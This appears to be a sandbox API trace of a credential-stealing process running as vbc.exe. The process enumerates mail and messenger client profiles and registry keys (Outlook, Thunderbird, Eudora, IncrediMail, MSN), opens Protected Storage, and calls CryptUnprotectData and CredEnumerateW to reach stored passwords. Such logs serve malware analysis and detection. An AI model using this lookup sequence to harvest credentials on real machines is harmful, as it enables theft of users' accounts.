	[0088.788] SizeofResource (hModule=0x400000, hResInfo=0x4184e8) returned 0x3e8
	[0088.788] LoadResource (hModule=0x400000, hResInfo=0x4184e8) returned 0x4187ec
	[0088.788] LockResource (hResData=0x4187ec) returned 0x4187ec
	[0088.788] FindResourceA (hModule=0x400000, lpName=0x85, lpType=0x2) returned 0x4184f8
	[0088.788] SizeofResource (hModule=0x400000, hResInfo=0x4184f8) returned 0xd8
	[0088.788] LoadResource (hModule=0x400000, hResInfo=0x4184f8) returned 0x418bd4
	[0088.788] LockResource (hResData=0x418bd4) returned 0x418bd4
	[0088.788] FindResourceA (hModule=0x400000, lpName=0x86, lpType=0x2) returned 0x418508
	[0088.788] SizeofResource (hModule=0x400000, hResInfo=0x418508) returned 0xd8
	[0088.788] LoadResource (hModule=0x400000, hResInfo=0x418508) returned 0x418cac
	[0088.788] LockResource (hResData=0x418cac) returned 0x418cac
	[0088.788] EnumResourceNamesA (hModule=0x400000, lpType=0x3, lpEnumFunc=0x40ed0b, lParam=0x0) returned 1
	[0088.788] FindResourceA (hModule=0x400000, lpName=0x2, lpType=0x3) returned 0x418518
	[0088.788] SizeofResource (hModule=0x400000, hResInfo=0x418518) returned 0x2e8
	[0088.788] LoadResource (hModule=0x400000, hResInfo=0x418518) returned 0x418d84
	[0088.788] LockResource (hResData=0x418d84) returned 0x418d84
	[0088.788] FindResourceA (hModule=0x400000, lpName=0x3, lpType=0x3) returned 0x418528
	[0088.788] SizeofResource (hModule=0x400000, hResInfo=0x418528) returned 0x128
	[0088.789] LoadResource (hModule=0x400000, hResInfo=0x418528) returned 0x41906c
	[0088.789] LockResource (hResData=0x41906c) returned 0x41906c
	[0088.789] FindResourceA (hModule=0x400000, lpName=0x4, lpType=0x3) returned 0x418538
	[0088.789] SizeofResource (hModule=0x400000, hResInfo=0x418538) returned 0x128
	[0088.789] LoadResource (hModule=0x400000, hResInfo=0x418538) returned 0x419194
	[0088.789] LockResource (hResData=0x419194) returned 0x419194
	[0088.789] EnumResourceNamesA (hModule=0x400000, lpType=0x4, lpEnumFunc=0x40ed0b, lParam=0x0) returned 1
	[0088.789] FindResourceA (hModule=0x400000, lpName=0x66, lpType=0x4) returned 0x418548
	[0088.789] SizeofResource (hModule=0x400000, hResInfo=0x418548) returned 0x38c
	[0088.789] LoadResource (hModule=0x400000, hResInfo=0x418548) returned 0x4192bc
	[0088.789] LockResource (hResData=0x4192bc) returned 0x4192bc
	[0088.789] FindResourceA (hModule=0x400000, lpName=0x68, lpType=0x4) returned 0x418558
	[0088.789] SizeofResource (hModule=0x400000, hResInfo=0x418558) returned 0x1f2
	[0088.789] LoadResource (hModule=0x400000, hResInfo=0x418558) returned 0x419648
	[0088.789] LockResource (hResData=0x419648) returned 0x419648
	[0088.789] EnumResourceNamesA (hModule=0x400000, lpType=0x5, lpEnumFunc=0x40ed0b, lParam=0x0) returned 1
	[0088.789] FindResourceA (hModule=0x400000, lpName=0x69, lpType=0x5) returned 0x418568
	[0088.789] SizeofResource (hModule=0x400000, hResInfo=0x418568) returned 0xa2
	[0088.789] LoadResource (hModule=0x400000, hResInfo=0x418568) returned 0x41983c
	[0088.789] LockResource (hResData=0x41983c) returned 0x41983c
	[0088.789] FindResourceA (hModule=0x400000, lpName=0x6b, lpType=0x5) returned 0x418578
	[0088.789] SizeofResource (hModule=0x400000, hResInfo=0x418578) returned 0x296
	[0088.789] LoadResource (hModule=0x400000, hResInfo=0x418578) returned 0x4198e0
	[0088.789] LockResource (hResData=0x4198e0) returned 0x4198e0
	[0088.789] FindResourceA (hModule=0x400000, lpName=0x6c, lpType=0x5) returned 0x418588
	[0088.789] SizeofResource (hModule=0x400000, hResInfo=0x418588) returned 0x364
	[0088.789] LoadResource (hModule=0x400000, hResInfo=0x418588) returned 0x419b78
	[0088.789] LockResource (hResData=0x419b78) returned 0x419b78
	[0088.789] FindResourceA (hModule=0x400000, lpName=0x70, lpType=0x5) returned 0x418598
	[0088.789] SizeofResource (hModule=0x400000, hResInfo=0x418598) returned 0xfa
	[0088.789] LoadResource (hModule=0x400000, hResInfo=0x418598) returned 0x419edc
	[0088.789] LockResource (hResData=0x419edc) returned 0x419edc
	[0088.789] FindResourceA (hModule=0x400000, lpName=0x448, lpType=0x5) returned 0x4185a8
	[0088.789] SizeofResource (hModule=0x400000, hResInfo=0x4185a8) returned 0x336
	[0088.789] LoadResource (hModule=0x400000, hResInfo=0x4185a8) returned 0x419fd8
	[0088.789] LockResource (hResData=0x419fd8) returned 0x419fd8
	[0088.789] EnumResourceNamesA (hModule=0x400000, lpType=0x6, lpEnumFunc=0x40ed0b, lParam=0x0) returned 1
	[0088.789] FindResourceA (hModule=0x400000, lpName=0x1, lpType=0x6) returned 0x4185b8
	[0088.789] SizeofResource (hModule=0x400000, hResInfo=0x4185b8) returned 0x1f2
	[0088.789] LoadResource (hModule=0x400000, hResInfo=0x4185b8) returned 0x41a310
	[0088.789] LockResource (hResData=0x41a310) returned 0x41a310
	[0088.789] FindResourceA (hModule=0x400000, lpName=0x2, lpType=0x6) returned 0x4185c8
	[0088.789] SizeofResource (hModule=0x400000, hResInfo=0x4185c8) returned 0x24
	[0088.789] LoadResource (hModule=0x400000, hResInfo=0x4185c8) returned 0x41a504
	[0088.789] LockResource (hResData=0x41a504) returned 0x41a504
	[0088.790] FindResourceA (hModule=0x400000, lpName=0x20, lpType=0x6) returned 0x4185d8
	[0088.790] SizeofResource (hModule=0x400000, hResInfo=0x4185d8) returned 0x13a
	[0088.790] LoadResource (hModule=0x400000, hResInfo=0x4185d8) returned 0x41a528
	[0088.790] LockResource (hResData=0x41a528) returned 0x41a528
	[0088.790] FindResourceA (hModule=0x400000, lpName=0x21, lpType=0x6) returned 0x4185e8
	[0088.790] SizeofResource (hModule=0x400000, hResInfo=0x4185e8) returned 0x3e
	[0088.790] LoadResource (hModule=0x400000, hResInfo=0x4185e8) returned 0x41a664
	[0088.790] LockResource (hResData=0x41a664) returned 0x41a664
	[0088.790] FindResourceA (hModule=0x400000, lpName=0x33, lpType=0x6) returned 0x4185f8
	[0088.790] SizeofResource (hModule=0x400000, hResInfo=0x4185f8) returned 0x48
	[0088.790] LoadResource (hModule=0x400000, hResInfo=0x4185f8) returned 0x41a6a4
	[0088.790] LockResource (hResData=0x41a6a4) returned 0x41a6a4
	[0088.790] FindResourceA (hModule=0x400000, lpName=0x39, lpType=0x6) returned 0x418608
	[0088.790] SizeofResource (hModule=0x400000, hResInfo=0x418608) returned 0x134
	[0088.790] LoadResource (hModule=0x400000, hResInfo=0x418608) returned 0x41a6ec
	[0088.790] LockResource (hResData=0x41a6ec) returned 0x41a6ec
	[0088.790] FindResourceA (hModule=0x400000, lpName=0x3a, lpType=0x6) returned 0x418618
	[0088.790] SizeofResource (hModule=0x400000, hResInfo=0x418618) returned 0x8e
	[0088.790] LoadResource (hModule=0x400000, hResInfo=0x418618) returned 0x41a820
	[0088.790] LockResource (hResData=0x41a820) returned 0x41a820
	[0088.790] FindResourceA (hModule=0x400000, lpName=0x3f, lpType=0x6) returned 0x418628
	[0088.790] SizeofResource (hModule=0x400000, hResInfo=0x418628) returned 0x74
	[0088.790] LoadResource (hModule=0x400000, hResInfo=0x418628) returned 0x41a8b0
	[0088.790] LockResource (hResData=0x41a8b0) returned 0x41a8b0
	[0088.790] FindResourceA (hModule=0x400000, lpName=0x40, lpType=0x6) returned 0x418638
	[0088.790] SizeofResource (hModule=0x400000, hResInfo=0x418638) returned 0xaa
	[0088.790] LoadResource (hModule=0x400000, hResInfo=0x418638) returned 0x41a924
	[0088.790] LockResource (hResData=0x41a924) returned 0x41a924
	[0088.790] FindResourceA (hModule=0x400000, lpName=0x52, lpType=0x6) returned 0x418648
	[0088.790] SizeofResource (hModule=0x400000, hResInfo=0x418648) returned 0x68
	[0088.790] LoadResource (hModule=0x400000, hResInfo=0x418648) returned 0x41a9d0
	[0088.790] LockResource (hResData=0x41a9d0) returned 0x41a9d0
	[0088.790] EnumResourceNamesA (hModule=0x400000, lpType=0x9, lpEnumFunc=0x40ed0b, lParam=0x0) returned 1
	[0088.790] FindResourceA (hModule=0x400000, lpName=0x67, lpType=0x9) returned 0x418658
	[0088.790] SizeofResource (hModule=0x400000, hResInfo=0x418658) returned 0x50
	[0088.790] LoadResource (hModule=0x400000, hResInfo=0x418658) returned 0x41aa38
	[0088.790] LockResource (hResData=0x41aa38) returned 0x41aa38
	[0088.790] EnumResourceNamesA (hModule=0x400000, lpType=0xc, lpEnumFunc=0x40ed0b, lParam=0x0) returned 1
	[0088.790] FindResourceA (hModule=0x400000, lpName=0x67, lpType=0xc) returned 0x418668
	[0088.790] SizeofResource (hModule=0x400000, hResInfo=0x418668) returned 0x14
	[0088.790] LoadResource (hModule=0x400000, hResInfo=0x418668) returned 0x41aa88
	[0088.790] LockResource (hResData=0x41aa88) returned 0x41aa88
	[0088.790] EnumResourceNamesA (hModule=0x400000, lpType=0xe, lpEnumFunc=0x40ed0b, lParam=0x0) returned 1
	[0088.790] FindResourceA (hModule=0x400000, lpName=0x65, lpType=0xe) returned 0x418678
	[0088.790] SizeofResource (hModule=0x400000, hResInfo=0x418678) returned 0x22
	[0088.790] LoadResource (hModule=0x400000, hResInfo=0x418678) returned 0x41aa9c
	[0088.790] LockResource (hResData=0x41aa9c) returned 0x41aa9c
	[0088.791] FindResourceA (hModule=0x400000, lpName=0x66, lpType=0xe) returned 0x418688
	[0088.791] SizeofResource (hModule=0x400000, hResInfo=0x418688) returned 0x14
	[0088.791] LoadResource (hModule=0x400000, hResInfo=0x418688) returned 0x41aac0
	[0088.791] LockResource (hResData=0x41aac0) returned 0x41aac0
	[0088.791] EnumResourceNamesA (hModule=0x400000, lpType=0x10, lpEnumFunc=0x40ed0b, lParam=0x0) returned 1
	[0088.791] FindResourceA (hModule=0x400000, lpName=0x1, lpType=0x10) returned 0x418698
	[0088.791] SizeofResource (hModule=0x400000, hResInfo=0x418698) returned 0x2e0
	[0088.791] LoadResource (hModule=0x400000, hResInfo=0x418698) returned 0x41aad4
	[0088.791] LockResource (hResData=0x41aad4) returned 0x41aad4
	[0088.791] EnumResourceNamesA (hModule=0x400000, lpType=0x18, lpEnumFunc=0x40ed0b, lParam=0x0) returned 1
	[0088.791] FindResourceA (hModule=0x400000, lpName=0x1, lpType=0x18) returned 0x4186a8
	[0088.791] SizeofResource (hModule=0x400000, hResInfo=0x4186a8) returned 0x1dd
	[0088.791] LoadResource (hModule=0x400000, hResInfo=0x4186a8) returned 0x41adb4
	[0088.791] LockResource (hResData=0x41adb4) returned 0x41adb4
	[0088.791] LoadStringA (in: hInstance=0x400000, uID=0x3e9, lpBuffer=0x52c8b8, cchBufferMax=4095 | out: lpBuffer="Name") returned 0x4
	[0088.791] LoadStringA (in: hInstance=0x400000, uID=0x3e9, lpBuffer=0x52c8b8, cchBufferMax=4095 | out: lpBuffer="Name") returned 0x4
	[0088.791] LoadStringA (in: hInstance=0x400000, uID=0x3ea, lpBuffer=0x52c8b8, cchBufferMax=4095 | out: lpBuffer="Application") returned 0xb
	[0088.791] LoadStringA (in: hInstance=0x400000, uID=0x3ea, lpBuffer=0x52c8b8, cchBufferMax=4095 | out: lpBuffer="Application") returned 0xb
	[0088.792] LoadStringA (in: hInstance=0x400000, uID=0x3eb, lpBuffer=0x52c8b8, cchBufferMax=4095 | out: lpBuffer="Email") returned 0x5
	[0088.792] LoadStringA (in: hInstance=0x400000, uID=0x3eb, lpBuffer=0x52c8b8, cchBufferMax=4095 | out: lpBuffer="Email") returned 0x5
	[0088.792] LoadStringA (in: hInstance=0x400000, uID=0x3ec, lpBuffer=0x52c8b8, cchBufferMax=4095 | out: lpBuffer="Server") returned 0x6
	[0088.792] LoadStringA (in: hInstance=0x400000, uID=0x3ec, lpBuffer=0x52c8b8, cchBufferMax=4095 | out: lpBuffer="Server") returned 0x6
	[0088.792] LoadStringA (in: hInstance=0x400000, uID=0x3f1, lpBuffer=0x52c8b8, cchBufferMax=4095 | out: lpBuffer="Server Port") returned 0xb
	[0088.792] LoadStringA (in: hInstance=0x400000, uID=0x3f1, lpBuffer=0x52c8b8, cchBufferMax=4095 | out: lpBuffer="Server Port") returned 0xb
	[0088.792] LoadStringA (in: hInstance=0x400000, uID=0x3f2, lpBuffer=0x52c8b8, cchBufferMax=4095 | out: lpBuffer="Secured") returned 0x7
	[0088.792] LoadStringA (in: hInstance=0x400000, uID=0x3f2, lpBuffer=0x52c8b8, cchBufferMax=4095 | out: lpBuffer="Secured") returned 0x7
	[0088.792] LoadStringA (in: hInstance=0x400000, uID=0x3ed, lpBuffer=0x52c8b8, cchBufferMax=4095 | out: lpBuffer="Type") returned 0x4
	[0088.792] LoadStringA (in: hInstance=0x400000, uID=0x3ed, lpBuffer=0x52c8b8, cchBufferMax=4095 | out: lpBuffer="Type") returned 0x4
	[0088.792] LoadStringA (in: hInstance=0x400000, uID=0x3ee, lpBuffer=0x52c8b8, cchBufferMax=4095 | out: lpBuffer="User") returned 0x4
	[0088.792] LoadStringA (in: hInstance=0x400000, uID=0x3ee, lpBuffer=0x52c8b8, cchBufferMax=4095 | out: lpBuffer="User") returned 0x4
	[0088.792] LoadStringA (in: hInstance=0x400000, uID=0x3ef, lpBuffer=0x52c8b8, cchBufferMax=4095 | out: lpBuffer="Password") returned 0x8
	[0088.792] LoadStringA (in: hInstance=0x400000, uID=0x3ef, lpBuffer=0x52c8b8, cchBufferMax=4095 | out: lpBuffer="Password") returned 0x8
	[0088.792] LoadStringA (in: hInstance=0x400000, uID=0x3f0, lpBuffer=0x52c8b8, cchBufferMax=4095 | out: lpBuffer="Profile") returned 0x7
	[0088.792] LoadStringA (in: hInstance=0x400000, uID=0x3f0, lpBuffer=0x52c8b8, cchBufferMax=4095 | out: lpBuffer="Profile") returned 0x7
	[0088.792] LoadStringA (in: hInstance=0x400000, uID=0x3f3, lpBuffer=0x52c8b8, cchBufferMax=4095 | out: lpBuffer="Password Strength") returned 0x11
	[0088.792] LoadStringA (in: hInstance=0x400000, uID=0x3f3, lpBuffer=0x52c8b8, cchBufferMax=4095 | out: lpBuffer="Password Strength") returned 0x11
	[0088.792] LoadStringA (in: hInstance=0x400000, uID=0x3f4, lpBuffer=0x52c8b8, cchBufferMax=4095 | out: lpBuffer="SMTP Server") returned 0xb
	[0088.792] LoadStringA (in: hInstance=0x400000, uID=0x3f4, lpBuffer=0x52c8b8, cchBufferMax=4095 | out: lpBuffer="SMTP Server") returned 0xb
	[0088.792] LoadStringA (in: hInstance=0x400000, uID=0x3f5, lpBuffer=0x52c8b8, cchBufferMax=4095 | out: lpBuffer="SMTP Server Port") returned 0x10
	[0088.792] LoadStringA (in: hInstance=0x400000, uID=0x3f5, lpBuffer=0x52c8b8, cchBufferMax=4095 | out: lpBuffer="SMTP Server Port") returned 0x10
	[0088.793] GetVersionExA (in: lpVersionInformation=0x417118*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x417118*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1
	[0088.794] SHGetSpecialFolderPathA (in: hwnd=0x0, pszPath=0x18f8cc, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned 1
	[0088.798] strlen (_Str="Mozilla\\Profiles") returned 0x10
	[0088.798] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned 0x21
	[0088.798] _mbscpy (in: param_1=0x523258, param_2=0x18f8cc | out: param_1=0x523258) returned 0x523258
	[0088.798] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned 0x21
	[0088.798] _mbscat (in: param_1=0x523258, param_2=0x413044 | out: param_1=0x523258) returned 0x523258
	[0088.798] _mbscat (in: param_1=0x523258, param_2=0x412488 | out: param_1=0x523258) returned 0x523258
	[0088.798] GetFileAttributesA (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Profiles" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\mozilla\\profiles")) returned 0xffffffff
	[0088.799] strlen (_Str="Thunderbird\\Profiles") returned 0x14
	[0088.799] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned 0x21
	[0088.799] _mbscpy (in: param_1=0x52335d, param_2=0x18f8cc | out: param_1=0x52335d) returned 0x52335d
	[0088.799] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned 0x21
	[0088.799] _mbscat (in: param_1=0x52335d, param_2=0x413044 | out: param_1=0x52335d) returned 0x52335d
	[0088.799] _mbscat (in: param_1=0x52335d, param_2=0x41249c | out: param_1=0x52335d) returned 0x52335d
	[0088.799] GetFileAttributesA (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Thunderbird\\Profiles" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\thunderbird\\profiles")) returned 0xffffffff
	[0088.799] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Qualcomm\\Eudora\\CommandLine", ulOptions=0x0, samDesired=0x20019, phkResult=0x18f198 | out: phkResult=0x18f198*=0x0) returned 0x2
	[0088.799] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Classes\\Software\\Qualcomm\\Eudora\\CommandLine\\current", ulOptions=0x0, samDesired=0x20019, phkResult=0x18f198 | out: phkResult=0x18f198*=0x0) returned 0x2
	[0088.799] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Thunderbird", ulOptions=0x0, samDesired=0x20019, phkResult=0x18fae0 | out: phkResult=0x18fae0*=0x0) returned 0x2
	[0088.799] ExpandEnvironmentStringsA (in: lpSrc="%programfiles%\\Mozilla Thunderbird", lpDst=0x523567, nSize=0x104 | out: lpDst="C:\\Program Files (x86)\\Mozilla Thunderbird") returned 0x2b
	[0088.799] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Mozilla Thunderbird" (normalized: "c:\\program files (x86)\\mozilla thunderbird")) returned 0xffffffff
	[0088.799] _strcmpi (_Str1="/stext", _Str2="/stext") returned 0
	[0088.799] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x18f7c4, nSize=0x104 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\vbc.exe" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\vbc.exe")) returned 0x35
	[0088.799] _mbscat (in: param_1=0x18f7c4, param_2=0x413420 | out: param_1=0x18f7c4) returned 0x18f7c4
	[0088.799] _mbscpy (in: param_1=0x18f8d4, param_2=0x18f7c4 | out: param_1=0x18f8d4) returned 0x18f8d4
	[0088.799] _mbscpy (in: param_1=0x18f9d9, param_2=0x413428 | out: param_1=0x18f9d9) returned 0x18f9d9
	[0088.799] GetPrivateProfileIntA (lpAppName="General", lpKeyName="ShowGridLines", nDefault=0, lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\vbc.cfg") returned 0x0
	[0088.800] GetPrivateProfileIntA (lpAppName="General", lpKeyName="SaveFilterIndex", nDefault=0, lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\vbc.cfg") returned 0x0
	[0088.800] GetPrivateProfileIntA (lpAppName="General", lpKeyName="AddExportHeaderLine", nDefault=0, lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\vbc.cfg") returned 0x0
	[0088.800] GetPrivateProfileIntA (lpAppName="General", lpKeyName="MarkOddEvenRows", nDefault=0, lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\vbc.cfg") returned 0x0
	[0088.800] GetPrivateProfileStringA (in: lpAppName="General", lpKeyName="WinPos", lpDefault="", lpReturnedString=0x18d784, nSize=0x2000, lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\vbc.cfg" | out: lpReturnedString="") returned 0x0
	[0088.800] strlen (_Str="") returned 0x0
	[0088.800] GetPrivateProfileStringA (in: lpAppName="General", lpKeyName="Columns", lpDefault="", lpReturnedString=0x18d774, nSize=0x2000, lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\vbc.cfg" | out: lpReturnedString="") returned 0x0
	[0088.800] strlen (_Str="") returned 0x0
	[0088.800] GetPrivateProfileIntA (lpAppName="General", lpKeyName="Sort", nDefault=0, lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\vbc.cfg") returned 0x0
	[0088.800] _mbsicmp (_Str1=0x4133a4, _Str2=0x523780) returned -1
	[0088.800] _mbsicmp (_Str1=0x4133a4, _Str2=0x523787) returned -1
	[0088.800] LoadCursorA (hInstance=0x0, lpCursorName=0x7f02) returned 0x10007
	[0088.800] SetCursor (hCursor=0x10007) returned 0x10007
	[0088.800] LoadLibraryA (lpLibFileName="pstorec.dll") returned 0x73ba0000
	[0089.589] GetProcAddress (hModule=0x73ba0000, lpProcName="PStoreCreateInstance") returned 0x73ba526c
	[0089.590] PStoreCreateInstance () returned 0x0
	[0094.728] LoadLibraryA (lpLibFileName="crypt32.dll") returned 0x770e0000
	[0094.737] GetProcAddress (hModule=0x770e0000, lpProcName="CryptUnprotectData") returned 0x77115a7f
	[0094.737] UuidFromStringA (in: StringUuid=0x413ae8, Uuid=0x18f664 | out: Uuid=0x18f664) returned 0x0
	[0094.737] UuidFromStringA (in: StringUuid=0x413b10, Uuid=0x18f674 | out: Uuid=0x18f674) returned 0x0
	[0094.738] UuidFromStringA (in: StringUuid=0x413ae8, Uuid=0x18f664 | out: Uuid=0x18f664) returned 0x0
	[0094.738] UuidFromStringA (in: StringUuid=0x413b10, Uuid=0x18f674 | out: Uuid=0x18f674) returned 0x0
	[0094.738] UuidFromStringA (in: StringUuid=0x413ae8, Uuid=0x18f664 | out: Uuid=0x18f664) returned 0x0
	[0094.738] UuidFromStringA (in: StringUuid=0x413b10, Uuid=0x18f674 | out: Uuid=0x18f674) returned 0x0
	[0094.738] UuidFromStringA (in: StringUuid=0x413ae8, Uuid=0x18f664 | out: Uuid=0x18f664) returned 0x0
	[0094.738] UuidFromStringA (in: StringUuid=0x413b10, Uuid=0x18f674 | out: Uuid=0x18f674) returned 0x0
	[0094.739] GetComputerNameA (in: lpBuffer=0x18e874, nSize=0x18e980 | out: lpBuffer="YKYD69Q", nSize=0x18e980) returned 1
	[0094.739] GetUserNameA (in: lpBuffer=0x18e774, pcbBuffer=0x18e980 | out: lpBuffer="aETAdzjz", pcbBuffer=0x18e980) returned 1
	[0094.740] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e874, cbMultiByte=-1, lpWideCharStr=0x18e374, cchWideChar=255 | out: lpWideCharStr="YKYD69Q") returned 8
	[0094.740] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e774, cbMultiByte=-1, lpWideCharStr=0x18e574, cchWideChar=255 | out: lpWideCharStr="aETAdzjz") returned 9
	[0094.740] strlen (_Str="YKYD69Q") returned 0x7
	[0094.740] strlen (_Str="aETAdzjz") returned 0x8
	[0094.740] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Google\\Google Talk\\Accounts", ulOptions=0x0, samDesired=0x20019, phkResult=0x18e9ac | out: phkResult=0x18e9ac*=0x0) returned 0x2
	[0094.740] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Google\\Google Desktop\\Mailboxes", ulOptions=0x0, samDesired=0x20019, phkResult=0x18f9b0 | out: phkResult=0x18f9b0*=0x0) returned 0x2
	[0094.740] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x759d0000
	[0094.740] GetProcAddress (hModule=0x759d0000, lpProcName="CredReadA") returned 0x75a171c1
	[0094.740] GetProcAddress (hModule=0x759d0000, lpProcName="CredFree") returned 0x759db2ec
	[0094.740] GetProcAddress (hModule=0x759d0000, lpProcName="CredDeleteA") returned 0x75a17941
	[0094.740] GetProcAddress (hModule=0x759d0000, lpProcName="CredEnumerateA") returned 0x75a17381
	[0094.740] GetProcAddress (hModule=0x759d0000, lpProcName="CredEnumerateW") returned 0x75a17481
	[0094.741] CredEnumerateW (in: Filter=0x0, Flags=0x0, Count=0x18f620, Credential=0x18f61c | out: Count=0x18f620, Credential=0x18f61c) returned 0
	[0094.742] FreeLibrary (hLibModule=0x759d0000) returned 1
	[0094.742] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Account Manager\\Accounts", ulOptions=0x0, samDesired=0x20019, phkResult=0x18fad4 | out: phkResult=0x18fad4*=0x0) returned 0x2
	[0094.742] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\Outlook\\OMI Account Manager\\Accounts", ulOptions=0x0, samDesired=0x20019, phkResult=0x18fad4 | out: phkResult=0x18fad4*=0x0) returned 0x2
	[0094.742] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Identities", ulOptions=0x0, samDesired=0x20019, phkResult=0x18fab8 | out: phkResult=0x18fab8*=0x100) returned 0x0
	[0094.743] RegEnumKeyExA (in: hKey=0x100, dwIndex=0x0, lpName=0x18f9ac, lpcchName=0x18f584, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18f57c | out: lpName="{31810C36-5D23-4CCE-A3B4-316DED195C38}", lpcchName=0x18f584, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18f57c) returned 0x0
	[0094.743] RegOpenKeyExA (in: hKey=0x100, lpSubKey="{31810C36-5D23-4CCE-A3B4-316DED195C38}", ulOptions=0x0, samDesired=0x20019, phkResult=0x18f580 | out: phkResult=0x18f580*=0x104) returned 0x0
	[0094.743] RegQueryValueExA (in: hKey=0x104, lpValueName="Username", lpReserved=0x0, lpType=0x18f560, lpData=0x5231d4, lpcbData=0x18f564*=0x7f | out: lpType=0x18f560*=0x1, lpData="Main Identity", lpcbData=0x18f564*=0xe) returned 0x0
	[0094.743] RegCloseKey (hKey=0x104) returned 0x0
	[0094.743] sprintf (in: _Dest=0x18f5ac, _Format="%s\\%s" | out: _Dest="{31810C36-5D23-4CCE-A3B4-316DED195C38}\\Software\\Microsoft\\Internet Account Manager\\Accounts") returned 91
	[0094.743] RegOpenKeyExA (in: hKey=0x100, lpSubKey="{31810C36-5D23-4CCE-A3B4-316DED195C38}\\Software\\Microsoft\\Internet Account Manager\\Accounts", ulOptions=0x0, samDesired=0x20019, phkResult=0x18fab0 | out: phkResult=0x18fab0*=0x0) returned 0x2
	[0094.743] sprintf (in: _Dest=0x18f5ac, _Format="%s\\%s" | out: _Dest="{31810C36-5D23-4CCE-A3B4-316DED195C38}\\Software\\Microsoft\\Office\\Outlook\\OMI Account Manager\\Accounts") returned 101
	[0094.743] RegOpenKeyExA (in: hKey=0x100, lpSubKey="{31810C36-5D23-4CCE-A3B4-316DED195C38}\\Software\\Microsoft\\Office\\Outlook\\OMI Account Manager\\Accounts", ulOptions=0x0, samDesired=0x20019, phkResult=0x18faac | out: phkResult=0x18faac*=0x0) returned 0x2
	[0094.743] RegEnumKeyExA (in: hKey=0x100, dwIndex=0x1, lpName=0x18f9ac, lpcchName=0x18f588, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18f580 | out: lpName="{31810C36-5D23-4CCE-A3B4-316DED195C38}", lpcchName=0x18f588, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18f580) returned 0x103
	[0094.743] RegCloseKey (hKey=0x100) returned 0x0
	[0094.743] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles", ulOptions=0x0, samDesired=0x20019, phkResult=0x18fad4 | out: phkResult=0x18fad4*=0x0) returned 0x2
	[0094.743] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles", ulOptions=0x0, samDesired=0x20019, phkResult=0x18fad4 | out: phkResult=0x18fad4*=0x0) returned 0x2
	[0094.743] FreeLibrary (hLibModule=0x73ba0000) returned 1
	[0094.744] FreeLibrary (hLibModule=0x770e0000) returned 1
	[0094.745] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\IncrediMail\\Identities", ulOptions=0x0, samDesired=0x20019, phkResult=0x18fac4 | out: phkResult=0x18fac4*=0x0) returned 0x2
	[0094.745] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\IncrediMail\\Identities", ulOptions=0x0, samDesired=0x20019, phkResult=0x18fac4 | out: phkResult=0x18fac4*=0x0) returned 0x2
	[0094.746] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Group Mail", ulOptions=0x0, samDesired=0x20019, phkResult=0x18f870 | out: phkResult=0x18f870*=0x0) returned 0x2
	[0094.746] _mbscpy (in: param_1=0x18f9ab, param_2=0x412f90 | out: param_1=0x18f9ab) returned 0x18f9ab
	[0094.746] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\MSNMessenger", ulOptions=0x0, samDesired=0x20019, phkResult=0x18f69c | out: phkResult=0x18f69c*=0x0) returned 0x2
	[0094.746] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\MessengerService", ulOptions=0x0, samDesired=0x20019, phkResult=0x18f698 | out: phkResult=0x18f698*=0x0) returned 0x2
	[0094.746] _mbscpy (in: param_1=0x18f53b, param_2=0x412f90 | out: param_1=0x18f53b) returned 0x18f53b
